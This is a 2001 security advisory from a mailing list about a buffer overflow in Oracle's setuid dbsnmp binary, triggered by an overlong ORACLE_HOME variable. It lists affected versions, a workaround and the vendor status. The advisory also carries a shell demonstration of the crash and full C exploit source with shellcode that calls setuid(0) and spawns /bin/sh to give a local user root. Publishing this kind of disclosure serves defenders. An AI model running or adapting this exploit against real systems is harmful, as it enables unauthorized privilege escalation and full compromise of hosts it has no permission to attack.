[UNIX] Local Security Vulnerability in 'dbsnmp' Binary (ORACLE_HOME)

From: support@securiteam.com
Date: 08/11/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] Local Security Vulnerability in 'dbsnmp' Binary (ORACLE_HOME)
Message-Id: <20010811204414.5D20D138BF@mail.der-keiler.de>
Date: Sat, 11 Aug 2001 22:44:14 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com

  Local Security Vulnerability in 'dbsnmp' Binary (ORACLE_HOME)
------------------------------------------------------------------------

SUMMARY

Oracle's dbsnmp program, an 'Oracle Intelligent Agent', contains a
security vulnerability that allows local attackers to gain elevated
privileges.

DETAILS

Vulnerable systems:
Oracle version 8.1.6
Oracle version 8.1.7
Oracle version 9i

Immune systems:
Oracle version 8.1.5

A buffer overflow can be trigged by setting the ORACLE_HOME environment
variable to a size greater than 749 bytes.

Example:
$ ls -alc
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
-rwsr-s--- 1 root oinstall 667874 jul 18 15:38
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp

$ export ORACLE_HOME=`perl -e 'print "A"x749'`
$ /usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462

$ export ORACLE_HOME=`perl
-e 'print "A"x750'`
$ dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Segmentation fault

$ ls -alc
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
-rwsr-s--- 1 root oinstall 971665 abr 11 17:41
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp

$ export ORACLE_HOME=`perl -e 'print "A"x749'`
$ /usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
$ export ORACLE_HOME=`perl -e 'print "A"x750'`
$ /usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
Segmentation fault

Impact:
Any user belonging to oracle group can obtain euid=0, resulting in a root
compromise.

Workaround:
Remove the setuid from the program:
# chmod -s dbsnmp

Vendor response:
Oracle has been notified and is investigating the potential security
vulnerability.

Exploit
/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I
tested it in RH 6.2.

dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment
variable. Its necessary to call setuid(0) before normal shellcode.

In My tests Offset may vary from 7846 to 7896. Its posible to obtain a
normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps).

"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."

L.E.Aute
 

This vulnerability was researched by:
Juan Manuel Pascual <pask@plazasite.com>

Special thanks to:

Ivan Sanchez <isanchez@plazasite.com>
Mundo Alonso-Cuevillas <mundo@plazasite.com>
*/

#include <stdio.h>
#include <stdlib.h>

#define BUFFER 800
#define OFFSET 7896
#define NOP 0x90
#define BINARY "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"

char shellcode[] =
"\x90" /* Additional NOP */
"\x31\xc0" /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"

"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
system(BINARY);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:pask@plazasite.com> Juan
Manuel Pascual Escriba, <mailto:schoe@CheapTickets.COM> SChoe and
<mailto:cwall@hosting.com> cwall.

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